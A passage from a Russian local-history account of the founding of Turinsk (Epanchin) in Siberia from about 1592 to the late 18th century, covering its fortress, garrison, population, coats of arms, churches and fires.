атаманом Иваном Кольцо и в сопровождении мансийского князька Шибердея. Ранней
весной они возвратились обратно, ведя за собой колонию русских людей на
поселение да десять священников. Часть пришельцев осталась в Епанчине, остался
и священник Иван Лапин. В 1592 году на Туринском берегу поднялась куполом
первая деревянная церковка, в которой несколько вогульских семей окрестились в
веру православную.


 Кого только не видела Туринская государева
дорога! Много людей разного чина и звания встречал и провожал Туринск. Одни
ехали по долгу службы, другие – за богатством и славой, третьи следовали не по
своей воле. В 1592 году через Епанчин проследовал … ссыльный колокол. Помните?
В него били взбунтовавшиеся жители древнего Углича после таинственной смерти
царевича Дмитрия. Колокол плыл неспешно, на специально сооруженном плоту по
реке Туре в вечную сибирскую ссылку.


К 1594 году в Епанчине обитало
114 мужчин и 62 женщины.


Вскоре с караваном нагруженных
богатством судов, обитых красным бархатом, мимо Епанчина проехал первый
Сибирский губернатор,  воевода Данило
Чулков.


В 1599 году в пелымскую ссылку
следовали по здешнему тракту братья Иван и Василий Никитичи, - первые опальные
тогда Романовы - родственники супруги Ивана Грозного – Анастасии Романовой. С
1595 по 1645 годы проехало 165000 ссыльных. В 1596 году верхусольским посадским
человеком Артемием Бабиновым открывается прямая дорога из России в Сибирь.


    Поход Ермака, произведенный  очень небольшими силами, вряд ли мог иметь
целью завоевание Сибирского царства, о могуществе которого русские имели
преувеличенное представление. Имелось в виду, вероятно, только взять «с бою и
без бою» ясак и вернуться с добычей. Предприятие увенчалось неожиданным
успехом. Сибирское царство распалось от одного удара. Из случайного набега
поход Ермака превратился в большое государственного значения предприятие.
Правительство Российского государства оказало Строгановым военную поддержку в
лице князей С. Болховского и  И.Глухова,
которые в 1584 году были отправлены с отрядом в 500 человек в Сибирь.
Экспедиция, снаряженная плохо и без знания местных условий, провалилась.
Посланный новый воевода  И. Мансуров
сумел только основать первый русский городок на сибирской почве – Обский
городок. В Сибири снова утвердился сначала сын Кучума Алей, а затем его
соперник – князь Сеид-Ахмат.


 
Таким образом, поход Ермака, расшатав Сибирское царство и открыв путь
русским в долину Иртыша, сам по себе не привел к прочным результатам. Вместо
того чтобы углубиться в Сибирь, необходимо было закрепить за собой  пути в нее. Для этого в 1598 году был основан
на верховьях Туры новый город 
Верхотурье, который в течение всего XVII века оставался главными воротами в Сибирь и через который
шли все официальные сношения Москвы с Зауральем. В 1600 году ниже Верхотурья,
на полпути между Верхотурьем и Тюменью, возник на месте татаро-мансийского
княжества Епанчи город  Т У Р И Н С К  (Епанчин). С постройкой Верхотурья, Туринска
и Тюмени в руках русских была закреплена вся артерия, соединяющая Иртыш с
бассейном Кама - Тура, и тем самым присоединенное Сибирское царство было прочно
связано с центром государства.


     Что же получило Российское государство
после похода Ермака в Сибирь?


Особенно интересующий нас Туринский край. Это обилие пушнины.
Коренные жители ловят бесчисленное количество соболей (прил.50), куниц,
росомах, лисиц и других подобных зверей, мех которых высоко ценится. Кочевое
скотоводство было не развито, так как не позволяла местность: сырость, болота,
был большой падеж домашнего скота, лошадей. В XVI веке лошадьми и скотом Сибирь
снабжали ногайские степи с их громадными конскими табунами и стадами рогатого
скота. Породистые кони ввозились из Бухары. Большое место занимала и рыбная
ловля в многочисленных водах рек и речек, озер и озерцов. Рыба, как и пушнина,
являлась предметом ясака. В Туринском уезде еще до прибытия русских  у вогулов, которые жили с Епанчей, имелись  пашенные земли, которые были впоследствии
заняты под острог.


     Город Япанчин (Епанчин), или Тура
(Туринск), был построен по указу Бориса Годунова в 1600 году тюменским головою Федором
Осиповым Яновым
. Первоначально Туринск был построен как ям, т.е. как
промежуточная станция для перевозки казенных грузов и пассажиров между
Верхотурьем и Тюменью. Одновременно с устройством яма и постройкой острога
около Туринска были посажены на пашню крестьяне. Осенью того же 1600 года
новому городу были приписаны «татарове и остяки и вогуличи», которые жили здесь
по рекам Туре и Нице и до постройки Туринска платили ясак в Тюмень. Так
образовался Туринский уезд. Возглавлял местное коренное население Епанча. Около
его юрта и был построен острог, который поэтому обычно назывался Епанчином.


    Туринский
уезд
был самым маленьким сибирским уездом по величине и одним из самых
малых по численности коренного населения. Первоначально в Туринский уезд,
правда, входили еще некоторые другие волости, расположенные на Туре выше устья
Тагила, но в 1602 году они отошли к Верхотурью. Туринским воеводам (прил. 43)
приходилось «кормиться» главным образом за счет пашенных крестьян и разных
поборов с проезжих, а не за счет коренного населения. Туринск являлся одной из
застав, которую не могли в XVII
веке миновать едущие в Сибирь и из Сибири. Существование Туринска как
самостоятельного города оправдывалось, кроме того, тем, что он прикрывал от
набегов степняков (ногайцев и калмыков) дорогу от Верхотурья на Тюмень, т.е.
один из важнейших участков большого пути, связывающего Сибирь с Европейской
Россией.


Территория Туринского уезда
охватывала долину Туры от устья Тагила и долину Ницы от устья Реж почти до
устья Ницы. На северо-востоке рубеж уезда проходил по водоразделу между Турой и
Тавдой, на юго-западе – Ницей и Пышмой.


Этническую принадлежность
коренного ясачного населения
Туринского уезда определить довольного трудно. Это были и татары, и вогулы, и
остяки, или «татаро-мансийское княжество Епанчи», т.е. можно считать население
Туринского уезда вогулами, подвергшимися татарскому влиянию.


В приложении 44 приведены данные
о волостях (юртах) и численность платильщиков ясака Туринского уезда (Епанчина,
Енбаева, Кукузова, Ургунчин, Илясова, Багарина, Куртумова, Тютюриева, Санкина,
Ногаева, Тентюкова, Ермолаева, Калмакова, Кичюбаева, Зензякова, Илчибаева). Все
названия волостей Туринского уезда образованы от собственных имен лиц, в то или
иное время их возглавлявших. В 1640-х годах соседние волости были объединены в
более крупные группировки, не получившие, однако, особых названий, но в начале XVIII века туринская
администрация отказалась от объединения волостей в более крупные группировки и
снова стали собирать ясак (10 соболей с женатого и 5 – с холостых) с каждой
волости отдельно. Но вместо 16 в 1629 году в 1706 году осталось только 8.
Волости Верх-Ницинская и Ницинская к концу XVII века совершенно исчезли. Волости же и все составлявшие их
юрты, расположенные на Туре – Епанчина, Куртумова, Санкина, Кукузова,
сохранились и в XVIII  веке, а частично и до
наших дней. Исчезновение целых волостей очевидно связано с имевшей место в
1662-1663 годах «изменой» платильщиков ясака Туринского уезда (сбежали) и
набегами калмыков в 1660-1680-х годах. У Ремезова С.У. на карте 1701 года
(прил.53-57) Туринского уезда упомянуты юрты Санкин, Куртумов, Байгарян,
Турузбаев, Кокузов юрт Илясовой волости и 
Япанчинская волость. Названия трех юртов не указаны. В этом же
приложении отмечается также численность коренного населения Туринского уезда
(платильщик ясака – глава семьи, рода и указывается всего коренного населения)
по годам. В Туринском уезде юрты являлись населенным пунктом, подразделением
рода – волости, и в основу административного устройства коренного населения был
положен именно этот юрт, также затем названный волостью.


В Туринском уезде волость
Епанчино, иначе Епанчинские юрты, создавались на развалинах татаро-мансийского
княжества Епанчи. В 1628-1629 годах «лучшим человеком» (главой рода) волости
был сын этого  Епанчи – Ягим Епанчин, а
позже уже внук Кизылбайко Агимов. Но в 1600 году в Епанчин-юрте было всего 8
человек, « да и те стары и послати для вестей некого». В юртах, расположенных
на реке Туре, жили пашенные остяки. А в юрте Курмачин жили (197д\ 296):


« Курманча Катыев, стар, ясаку не
платит давно.


Бестюк Курмачин, женат. Никитка
тоже, взято 5 соболей,


А донять на нем тово збору пять
же соболей.


Казарин Кокурман, женат, взято 10
соболей.


Товож юрта Сыпчака Курманчин по
Тюменской росписи в 107 (7107-5508=1599) году,


Взято пять соболей, а во 108 году
умер».


    От других татар туринские деревенские
татары отмечены тем, что высоки ростом, плотны, дородны, головасты и по чертам
лица похожи несколько на калмыков. Волосы у них по большой части черные, жидкие
и прямые. Любят честность, прилежны, 
покорны и  боязливы. В нравах их
видно больше суровости, нежели у других татар. В деревнях их дворы малы,
срублены из бревен. В домах бывает обычно по одной прихожей избе, которая
иногда служит кладовою, иногда конюшнею, а иногда хлевом. Домашний скарб их
весьма мал, и живут вообще мерзко. Все они упражняются в землепашестве, но
мало; больше стараются о скотоводстве, и при том почти все держат у себя пчел.
Зимой редко кто не ходит на звериный промысел. Да и рыбная ловля у них не
пренебрегается. Язык их татарский, но уже перемешался с местным вогульским и
русским языками. Женский наряд соответствует больше татарскому, а мужские
кафтаны российскому вкусу. Пищу приготавливают больше по-татарскому, а напитки
– по-русски. Все держат почти безпрестанно за губой табак. Деревенские татары
стараниями Тобольского архиепископа Филофея крещены в 1718-1720 годах; тогда же
были уничтожены их школы, пришло забвение их знаний, грамоты и письма.


    Уменьшение туринских татар или их
оттеснение со своих земель русскими приводило к увеличению числа русских слобод
и деревень. В челобитной 1644 года татары разных волостей туринского уезда
жаловались, что « крестьяне населилися дворами своими на их юртовищах и на
кладбищах, и с мольбищ и с кладбищ их согнали, и пашенные места и сенные покосы
отняли». В 1646 году на территории Тентюковской волости оказалось 8 русских
деревень с 64 дворами, в Колмаковской – 14 деревень с 84 дворами, в
Ермолаевской – слобода и 11 деревень со 117 дворами. В результате освоения
туринских земель русскими у татар так же, как и у манси, возникла чересполосица
в расселении с ними. Туринские татары (прил.44) постепенно сокращались в
численности на протяжении всего этого периода. За 116 лет эта группа
уменьшилась в два раза, хотя общая численность ясачных людей в туринском округе
в 1763 году составляла 1865 человек, а в 1816 году - 1697 человек. Это  сокращение туринских татар явилось
результатом частичной ассимиляции их со стороны русских и манси. Данные цифры
по численности коренного населения не совпадают, так как все местное коренное
население уже с конца XVI
века было обложено русскими единою данью и образовало ясачное население. Часть
коренного населения избежала ясака и выделилась в особые группы с иным
характером обложения и иным укладом жизни:


  
- ясачные татары;


 
 - служивые татары, по своему
положению и обязанностям приближались к русским служивым людям (местная знать);


  
- хлебопашцы, осели индивидуальным порядком на пашню, слились с русским
крестьянским населением;


  
- гонебные татары, значительная часть стала ямскими охотниками, особенно
с 1624 года.


Кроме этого, к изменению в
расселении туринских татар в XVII
веке привело   перемещение татар
Епанчин-юрта  (50 чел) на территорию
татар Енбаевого юрта, находившегося в 14 км ниже Туринска,  бегство в Уфимский уезд части коренного
населения,  сокращение населения из-за
набегов калмыков и исчезновение в связи с этим южных юрт.


Хотелось бы остановиться на
этническом составе татарских деревень. Наиболее точные сведения по туринским
татарам с указанием этнической и сословной принадлежности не только мужчин, но
и женщин содержится в материалах четвертой (1782г.) ревизии. В прил.44 за 1782
год указан состав татарских деревень. Особенностью является проживание русских
женщин в татарских деревнях Епанчин-юрта (две) и в Куртумовой (две русские и
три мансийки).


И завершая краткий обзор о
коренном населении Туринского уезда, отметим, что лишь в конце XVIII века, по данным
ревизии,  туринское татарское население
названо в одной объединенной Куртумовой волости (111 мужчин и 109 женщин). В
1868 году в селе Куртумово было всего  87
человек (40 муж и 47 жен), а также в городе Туринске два человека. В 1892 году
село Куртумово имело 20 дворов с населением 76 человек  (прил.44). В наше время дер. Куртумово все
еще существует.


       


Мы уже отмечали, что Ермак
оставил казаков для строительства временного поселения в Епанчине и для
обеспечения сохранности захваченной территории. И только через 18 лет русское
правительство вернулось к Епанчину. Т У
Р И Н С К
, как острог,  должен был
защитить местных жителей и русских переселенцев от вторжения ногайцев и
калмыков в этот район, а также обеспечивать перевоз грузов из Верхотурья в
Тюмень и назад по этой же дороге. По грамоте царя России Бориса Годунова от 30 января 1600 года на строительство города
Туринска направлялся тюменский голова Федор Осипович Янов; ему разрешалось
взять 50 ямских охотников и 100 пашенных людей.


Из Тюмени прибыло: - 10 конных
казаков;


                                     - 1
пушкарь с двумя пищалями затинными и 100 ядрами.


Из Тобольска прибыло 20
стрельцов.


С Пелыма  прибыло     
10 черкас (коренное население).


С Верхотурья прибыло  10 стрельцов;


                                          20
плотников, отосланных назад после строительства острога;


                                         Привезено 2 затинные пищали с
400 ядрами.


Из Казани прибыло  55 семей пашенных людей (новокрещенных);


                                     6 ямских
охотников (новокрещенных).


Остальных брали из охочих людей.
Сибирь в это время была в такой славе, что в России находилось много охотников,
готовых переселиться туда на постоянное жительство. Большая часть переселенцев
происходила из Колмогорского (Архангельского) уезда с Ваги, Устюга, из
Соливычегодской, Вятки, Перми и других мест Поморья.


Для посева на 1600 год было
послано с Верхотурья   ржи  150 четвертей, ячменя  150 четв. и овса 200 четвертей, а для питания
людей и запасов хлеба оттуда же муки 400, круп 100 и толокна 170 четвертей
(1четв.= 0.25 пуда = 4.1 килограмм).


     Постройка Туринского острога была
завершена в том же 1600 году около того места, где находился юрт князя Епанчи,
именно при впадении  небольшой речки
Лахомки в Туру (прил.53 – 59,62). Сначала городок был огражден деревянною
стеною с башнями, окружностью 264 сажени (1сажень= 2,13м). С восточной стороны
протекает река Тура, с севера - речка Ялынка, с запада – натуральный буерак,
глубиною 3.25 сажени, шириной – 20 сажень, с южной стороны – земляной вал,
натуральный лог и  речка Лахомка. Начало
ее рождается на горе в овражке, через дорогу современной Косогорной, по
оврагам, огородам, мост через нее (1705 год, прил.72) на Декабристов возле
Спасской церкви (Дом пионеров) и устье у парка Декабристов, кинотеатра Искра,
мост с оврагом и впадает в Туру. За речками Турой и Ялынкой находятся выгонные
места, служащие «скотским выпуском».


Город Туринск имел первоначально
собственный герб с изображением  с о б о
л я,   учиненный по указам Великих
государей (время Смуты) и доставленный из губернского города Тобольска. Когда
был учинен этот герб – неизвестно.


В этом же 1600 году построен храм
Святых Бориса и Глеба. В грамоте от 12.10.1600 года указана отправленная
церковная утварь в эту церковь; назначен священник с Верхотурья, а дьякон – из
Перми. Священнику определено жалование 8 рублей да хлебом 5 четвертей муки
ржаной, 1четверть круп и 1 четверть толокна.


     Кроме того, внутри острога, помимо
казенных зданий, должны были поставить свои дворы служилые люди, ямщики,
священник, пономарь. Вследствие этого образовалась такая теснота, что ямщики
били челом государю, чтобы перенести их дворы за острог на место, где жил
Епанча «с товарищи». Разрешение было дано и инородцы должны были снести свои
юрты и переселиться в Енбаев-юрт. Таким образом, около Туринска, на западной
его стороне, на месте инородческих юрт  в
1601 году  возникла русская ямская слобода. Вследствие этой же причины  и некоторые служивые люди, крестьяне и
посадские, поставили свои дворы вне острога, именно на  правом берегу Лахомки образовали посад. Первоначально Туринский острог имел
по углам четыре глухих башни и ворота.


  
Так как острог построился за короткий срок, бревна и доски не были
подготовлены, а строительство шло вспешке, то к 1603 году острог развалился. В 1603 году он был расширен. По форме
Туринск представлял четырехугольник (прил.61), обнесенный деревянным
частоколом. Окружность острожных стен равнялась 360 сажень. Внутри острога
располагались Борисоглебская церковь, построенная одновременно с острогом,
дворы воеводы и служивых людей, приказная изба. Что же касается населения
Туринска, то оно в первый же год его существования было довольно значительно
(прил.45). В 1601 и 1603 годах были переведены еще 50 ямщиков и 25 семей
пашенных крестья из казанских и других «переведенцев» из города Тары.  В 1604
году в ценре острога  были построены
гостиная изба, канцелярия, амбары для хлебных припасов, меховой амбар (для
ясачной казны), пороховой и виный погреба, тюрьма, двора притча, подъячих,
пушкаря, палача и других служивых. Добавились дом сына боярского, два двора
торговых людей, 23 двора стрельцов, 20 дворов крестьян и бобылей. В этом же
году (1604), на посаде построена была церковь во имя «Покрова Пресвятой
Богородицы», при которой в том же году возник женский Покровский монастырь
(прил. 73 и 86). 


      Кроме  
того, воеводе Федору Янову и его преемникам (прил.43) постоянно
наказывалось, «чтобы они прибирали на государеву туринскую пашню охочих людей
на льготу и давали им подмогу сколько пригоже». Неизвестно много ли удалось
воеводам льготою и помощью привлечь вольных людей на государевы десятины, но
уже в 1605 году всех пашенных крестьян было 91 человек (прил.45), кроме женщин
и детей. Заботы правительства увенчались успехом: почва здесь была довольно
плодородная, и хлеба с государственных пашен собирали ежегодно большое количество.
Следует, однако, при этом упомянуть, что местность около самого города
оказалась слишком сырой и неблагоприятною для развития скота, по крайней мере,
конский падеж бывал почти ежегодно и в течение длительного времени. В рапорте
Туринской Воеводской Канцелярии от 15 августа 1750 года  отмечается: « В Туринске и в его
деревнях…Комаровой, Лебедевой, Уросовой,
Мингалевой и Пузыревой с 27 июня по
21 июля пало 26 лошадей и 11 коров».


В 1623 году под Туринском  пытались завести «железоделательное» производство.
В городе развивалось судостроение (1640 год – первое судно и судовая верфь).
Находясь на основной транспортной артерии из России в Сибирь, Туринск стал
заметным торговым центром Сибири того времени: оборот его рынка в середине XVII века исчислялся в 1690
рублей. Ремесленников  в это время в
Туринске насчитывалось около 23 человек, а в начале XVIII века их уже было 39 человек.


    Одной из задач Туринского острога в начале
его существования являлась охрана южных границ Западной Сибири от набегов кочевых
народов и кучумовых детей и внучат. Для этого Туринскому острогу с первых же
годов было придано военно-служивое население, куда входили дети боярские, пешие
казаки, стрельцы и пушкари. С момента формирования в 1600 году численность
гарнизона в Туринске мало отличалась и в последующие годы (прил.45). Оплата
состава была многоплановая. Рядовые пешие казаки и стрельцы, как правило,
получали по 4.25 рубля (1622г – 45 чел), десятники и пятидесятники – по 4.5
руб. (1622г – 5 чел). Кроме этого, денежное жалование иногда заменяли хлебом и
солью. Например, в 1698\99 годах по «Ведомостям Сибирских городов» расходы на
содержание ратных людей в Туринске пришлось:


    - деньгами – 1386 рублей (283 рубля –
жалованье);                                                  
     


    -хлебом – 2927 четвертей (170 – жалование);


    - солью – 103 пудов (97 – жалование) (1
пуд=16.380 кг.).


Расходы на содержание ратных
людей в течение всего XVII
века составляли главную статью расходов, поэтому на военно-служивых людях  прежде всего отражались перебои со снабжением
деньгами, хлебом и солью. Случаи задержки жалованья были особенно частыми.
Позже участились случаи расчета «меновыми товарами» (ткани, кумачи, «мягкая
рухлядь»), выделение земли для обработки (2.5 десятин для стрельца в 1620-х
годах), выделение сенокосных покосов (81 копна для стрельца) и т.д. Но и это не
позволяло произвести расчет за текущий год, возникали периоды крупных недодач (одна десятина = 1.09 га = 2400 кв.сажень).


    Ко времени первой переписи Туринск уже значительно
был заселен. По дозору письменного головы В. Беглецова в 1624 году  этот город состоял
из трех частей:  острога, посада и ямской
слободы. В этом документе уже нет известий ни о стенах, ни о башнях, ни вообще
о каких-нибудь укреплениях. Но о разных казенных зданиях, дворах частных лиц и
населения Туринска в 1624 году мы находим самые точные указания. В остроге в это время помещались:
церковь во имя Бориса и Глеба, несколько казенных зданий, как съезжая изба,
тюрьма, двор воеводский, по два двора подъячих и причта, земский двор;  дворы приказчика, пушкаря, палача и сторожа;
дворов стрелецких 23, торговых и посадских людей 7, пашенных крестьян 38 и 9
дворов бобылей. На посаде: Покровский
монастырь с 7-ю кельями, дворы попа, сына боярского, подъячего, пушкаря,
стрелецких дворов 4, торговых и посадских людей 22, пашенных крестьян 74 и два
двора бобылей. А всего населения в остроге и на посаде 202 человека, исключая
женщин и детей и разных свойственников (родственников). К общему числу жителей
Туринска нужно еще присоединить «гулящих» людей и ярыжных, которых в это время
было около 40 человек. Ямская
слобода, по дозору Беглецова, состояла из 43 дворов да 8 ямщиков, имели дворы
на своих пашнях, а всех ямщиков в 1624 году было 57 человек.


         На Туринской городской печати в 1635
году была изображена уже росомаха, а около вырезано: «Печать государева земли
Сибирские Туринского острогу». Из росписи Сибирским печатям, прилагаемым к
наказу 1692 года Верхотурскому таможенному голове, видно, что на Туринской печати
была изображена  тоже росомаха. Таким
образом, гербом Туринска по печати с 1635 по 1692 годы  была росомаха, а в 1725 году гербом Туринска
по печати стал медведь, выходящий из дремучего леса в серебряное поле, все это
означающее дикость округа. И только после очередной реорганизации Российской
Империи 17 марта 1785 года Туринск назначался окружным городом Тобольской
губернии Сибири и ему присваивался герб, разбитый на две части: в верхней части
щита герб Тобольский: в синем поле золотая пирамида с воинской арматурой,
барабанами и алебардами. В нижней части – в серебряном поле часть дремучего
леса, из которого выходит медведь, означающий, как лес, так и медведь, дикость
округа. Этот герб был «Высочайше» утвержден 12 марта 1804 года (прил.49).   


       Относительно дальнейшего развития
населения города Туринска до 1645
года мы в разных документах находим (прил.45) следующие сведения. Число
служивых людей до 1633 года было одинаково, но в этом году переведено из Пелыма
в Туринск еще 30 человек стрельцов, а в конце царствования Михаила Федоровича
Романова (1645) разных служивых людей в Туринске, вместе с ружниками и
оборочниками, было 81 человек без женщин, детей и родственников. Число торговых
и посадских людей после 1624 года постепенно уменьшалось, в 1645 году их
осталось только 32 человека, из-за больших поборов государства. Также ямщиков
туринских после первой переписи к 1630 году значительно уменьшилось, в этом
году их было только 25 человек, остальные разбежались из-за «жесткой ямской
гоньбы» и падежа лошадей, недостаточностью жалования и земельного надела. В
1645 году ямскую слободу населяли 49 ямщиков. Число крестьян в Туринске,
несомненно, постепенно увеличивалось 
вследствие естественного размножения и набора, но точное количество их
определить невозможно, так как документы дают данные с уездными крестьянами.


       При постоянном расширении русских
владений, надобность в комплектации служивого состава постоянно возростала. Для
доставления служивым людям возможности плодиться, правительство было вынуждено
набирать в Российских городах «гулящих (свободных) баб и девок» для отправки их
в Сибирь с целью выдачи их  замуж за
тамошних казаков. Так в 1630 году было набрано 500 мужчин с Поморья, а также
150 женщин и девиц, которых отправили в Тобольск, чтобы выдать замуж за казаков
и других русских людей, «которые великую в сем нужду имели». Подобные меры
практиковались и впоследствии. В 1637 году было отправлено в Сибирь 300 семей
и, кроме этого, 150 девиц для раздачи их в жены казакам. Тем, кому не доставались  жены, казаки, как сословие храбрых,
завоевывало себе подруг разными приемами. Для чего бы не повторить, что
«поколение в этом сословии первоначально пошло от крови татарок, которые, быв,
обласканы смелыми пришельцами, взошли на ложе их, в последствие законное, по
подобию сабиянок, и, с чертами кавказского отродья, не обезобразили
мужественного поколения». К концу периода 
выводится  женских жизней русского
имени 76439, а всех обоего пола 229227.


    В связи с возросшим населением  в остроге стала «теснота великая, жилые дворы
в городе по самую стену, а дворы старые и часты, а загородные дворы всяких
чинов людей слишкок близко от городской стены, в остроге же хлебные амбары в
близости от дворов сажень в шесть». Так писал воевода в Сибирский приказ в 1669
году. Острог обветшал и нуждался в обновлении. Вот что писал неизвестный
иностранный путешественник про
Туринск в это время:  «22-го числа, на
заре, отправились мы дальше, прибыли в городок Епанчин. Здесь течет речка Тура.
Этот городок весьма плох, совсем открытый, но имеет, правда, маленькую
крепость, с деревянным тыном вокруг, в которой находятся государевы приказы или
канцелярии, а также несколько амбаров и дом воеводы, все сделанное из елового
леса; крепость находится внутри городка».


В 70-80-е годы XVII
века была произведена частичная перестройка крепостных укреплений, в результате
чего увеличилось количество башен. Первые острожные церкви по своим формам и
размерам мало чем отличались от крепостных башен. Это были клети со сторонами в
плане 6х8 метров, увенчанные шатровой кровлей (прил.51,56,59,62), завершенные
вместо герба главкой с крестом. Среди острожных храмов имелись надвратные
церкви (часовни),  конструктивно
связанные с крепостной стеной, и церкви, свободно стоящие на территории
острога. В новой крепости прежде всего сооружали главную въездную башню часто с
надвратной часовней. Спасская церковь (прил.51) Туринского острога, построенная
в 1652 году рядом с главной башней, являвшейся и колокольней (прил.52): «..а
высота от земли до развалу семь сажень, а над развалом четыре бочки, над
бочками укрыт шатер до маковицы. От земли вышины до яблока 14 сажень, а кругом
храму и трапезы паперти на выпусках». Спасская башня размещалась во втором
ярусе обычной крепостной башни, первый ярус (подклет) использовался для
хранения государственного имущества, а обходные галереи церкви соответствовали
уровню боевых галерей крепости. Стройный башнеобразный объем церкви завершался
развалом.


По городовому списку 1701 года в острожной стене (362
сажени) было 7 башен:


 
- Спасская с приезда от Тобольска, четырехугольная, 4 сажени в ширину, в
ней два моста, а в высоту до «обламов» три с половиной сажени  (прил.51,56,57,60-62);


 
- Покровская, наугольная, рубленая, четырехугольная, в ширину 3 сажени с
аршином, в ней два моста, а в высоту  4
сажени;


 
- Никольская, четырехугольная, в ширину пол 3 сажени, два моста, высота
3 сажени;


 
- Пречистенская, проезжая, в ширину 3 сажени, два моста, высота две
сажени с полуаршином;


 
- наугольная, от речки Ялымки, в ширину 4 сажени с аршином, два моста,
высота 4 сажени;


 
- Архангельская, проезжая, в ширину 3 сажени, два моста, высота пол 3
сажени;


 
- наугольная, в ширину пол 3 сажени, два моста, высота пол 3 сажени.


 
На вооружении город Туринск имел:


 
- пищаль медная с 44 ядрами железными;


 
- 4 пищали затинные с 439 ядрами железными;


 
- 43 мушкета с 200 пулями к ним;


 
- 9 пудов 23.5
фунта пороху;


 
- 13 пудов 8 фунта
свинцу с пулями (1 фунт=0.41 кг).


Население:


    - служивых всех чинов 71 человек с окладом
301 .5 рублей, ржи 109 четей, овса 84 чети, соли 103 пуда;


    - ямщиков 50 вытей, с окладом в 1000 рублей
и пашнею;


    - посадских 85 человек, оброк  платят 46 рублей 25 алтын;


    - государственных крестьян 553 человека
с  206 десятинами земли; оброчных
крестьян 58 человек.  Для выплаты окладов
денег не достает, и их присылают из Москвы, Тобольска и Верхотурья, соль  присылалась Тобольском, хлеб выращивался
своими силами.


Со времени основания Туринска, за
прошедшее столетие, произошли некоторые события, связанные с Туринском и
освоением Сибири:


 
1611 – назначен митрополит Сибири Филарет Романов (отец первого царя
Романовых ).


 
1620 – сибирская епархия в Тобольске во главе с Киприяном, автором
первой сиб. летописи.


 
1625 – умер Епанчи; сын Агиш, обрусел, но князь; сын Сатыка – боярин,
современные князья.


 
1638 – Туринская Успенская ярмарка и постоянный городской рынок.


 
1641 – Туринск – самостоятельный уездный городок (вышел из Верхотурского
уезда).


 
1643 –открыта Ирбитская ярмарка (1633 – основание города Ирбита).


 
1646 – нападение калмыков на Туринский уезд.


 
1653 – раскол церкви, Аввакум в Сибири, появление деревень – староверов.


 
1670 – построена первая каменная церковь Покрова в Туринске.


       Как можно судить по рисункам Ремезова
С.У. (1701 год), туринская проезжая башня острога конца XVII века на западной стороне
(Никольская) (прил.56,57,60) являлась вершиной деревянного зодчества Сибири и
более не встречалась нигде. Это было трехэтажное здание с шатром и «маковкой»
наверху, увенчанное высоким шпилем с крестом. Второй этаж башни был намного
больше и выходил за верхние венцы первого сруба. Он перекрывался шатром, на
котором стоял уже третий этаж, по своим размерам еще меньший, чем первый, но с
окнами, заделанными слюдяной решеткой. На второй этаж со стороны внутреннего
двора острога вела резная деревянная галерея. Для городского благоустройства XVII века были характерны
мосты, взвозы, мощеные деревянными плахами улицы около важнейших казенных и
торговых зданий. Деревянные постройки были украшены резьбой. В конце XVII, начале XVIII веков туринские мастера
славились изготовлением резных шкатулок, «погребцов», росписных подносов;
сложилась своя туринская школа иконописания, известная по всей Сибири.


Таким образом, в начале XVIII века, крепкие стены
Туринского острога по периметру 
составляли около 771
метра,  они имели
9 башен, высоко поднимающихся над ними. Стены были острожного типа, обнако
южный угол западной стены был сделан городнями. В остроге находилась
Борисоглебская церковь, приказная изба, таможня, гостиный и воеводский дворы,
12 «государевых амбаров и дворы служивых людей». За острогом располагались
монастыри (мужской и женский), ямская слобода и дворы служивых и посадских
людей.


      В конце XVII и начале XVIII веков  (1696, 1698, 1704гг) Туринский острог был
почти весь уничтожен пожарами. Сгорели острог, 8 церквей, Николаевский
монастырь и 368 обывательских дома. В 1704 году было получено указание о
строительстве нового острога. При этом вводились различные ограничения: в
остроге не разрешалось строить жилые дома; в посаде возводить их можно было
только на расстоянии не менее 50 сажень от острожских стен. В 1704 году на
казенные средства была построена деревянная соборная церковь во имя Спасителя,
с приделом Михаила Архангела. Новый острог поставили в 1705 году. Сырая долина реки Ялынки не позволяла развивать острог в
северном направлении, а на юге нужно было оставить разрыв в 50 сажен до моста.
Его площадь увеличили за счет удлинения стен в западном и восточном
направлениях, что придавало острогу новую ориентацию. Периметр стен  по сравнению со старым острогом сократился и
представлял в плане (прил. 61) неправильную трапецию с четырьмя угловыми
башнями. Главным  «фасадом» крепости была
южная стена со Спасской проезжей башней, обращенной к дороге на Тобольск. Около
этой башни были «построены лавки вряд». Вблизи размещалась высокая Спасская
церковь (прил.51), игравшая существенную роль в архитектуре острога.  Стены имели 6 башен, две из которых были
проезжие. По своему архитектурному облику и технике исполнения острог 1705 года
значительно уступал сооружениям XVII
века. Три остальные стены (прил.56,57, 60) также имели проезные башни:


 
- западная – Никольская, к которой подходила дорога из Верхотурья;


 
- северная – Пречистенская, обращенная к речке Ялынке и на посад;


 
- восточная, идущая вдоль реки Туры, - Архангельская с воротами к
пристани.


Выразительный силуэт крепости,
многообразие форм башен – двухярусной колокольни (прил.52) главной башни,
высокой шатровой кровли с главкой Спасской церкви, менее высоких угловых башен
– так же как контраст протяжных стен и высотных акцентов придавали комплексу
большую художественную выразительность. В новом остроге  построили воеводский дом, канцелярию,
церковь, соляной амбар и 34 житницы. Перед ним образовалась торговая площадь, в
западной части которой стояла Воздвиженская церковь.


    В 40-х годах  XVIII века в Туринске было 
339 жилых домов (прил. 45, 62, 64-68). На посаде главная улица шла от
моста до монастыря и была замощена плахами. Другая мощеная улица пересекала
ямскую слободу с востока на запад и выходила на 
Верхотурскую дорогу.


21 апреля 1750 года острог снова сгорел (деревянная крепость с башнями,
соборная церковь Спасителя и Крестовоздвиженская церковь, воеводская
канцелярия  и  воеводский дом и другие жилые постройки) и
больше не восстанавливался.


     К 1770
году относится первый профессионально составленный план Туринска (прил.63). К
этому времени там было 450 домов и 1967 жителей (прил.45). На чертеже нет
следов внутреннего острога. От внешнего ограждения остались размытые водой рвы
и часть острожной стены в западной части селитьбы. Севернее стоит дом
воеводской канцелярии. Видимо, после пожара 1750 года сюда перенесли все
казенные постройки. План фиксирует хаотичность застройки, хотя основные улицы
имели четкое радиальное направление к месту бывшего острога и пересекались
кольцевыми улицами, отражавшими постепенный рост городской территории. В 1787
году вокруг посада был выкопан ров с ограждением.


    В это время в городе были построены три
красивые каменные церкви. Базарная и соборная площади находятся рядом на посаде
у стен бывшей крепости в непосредственной близости от двух церквей – Покровской
и Крестовоздвиженской. Гостиного двора не было, но на базарной площади стояло в
1768 году 17 торговых лавок. Съезд окрестных обывателей или «торжок»
обыкновенно проходил в Туринске по вторникам, а с 1789 года в городе была открыта Никольская ярмарка, проходившая
ежегодно с 6 по 13 декабря. Торговля шла бойкая. Некоторый спрос имела пушнина
(соболь). Главным товаром здесь был хлеб и различная сельхозяйственная
продукция («туринская пашня урожайна») с хлебом, рожью, пшеницей, ячменем,
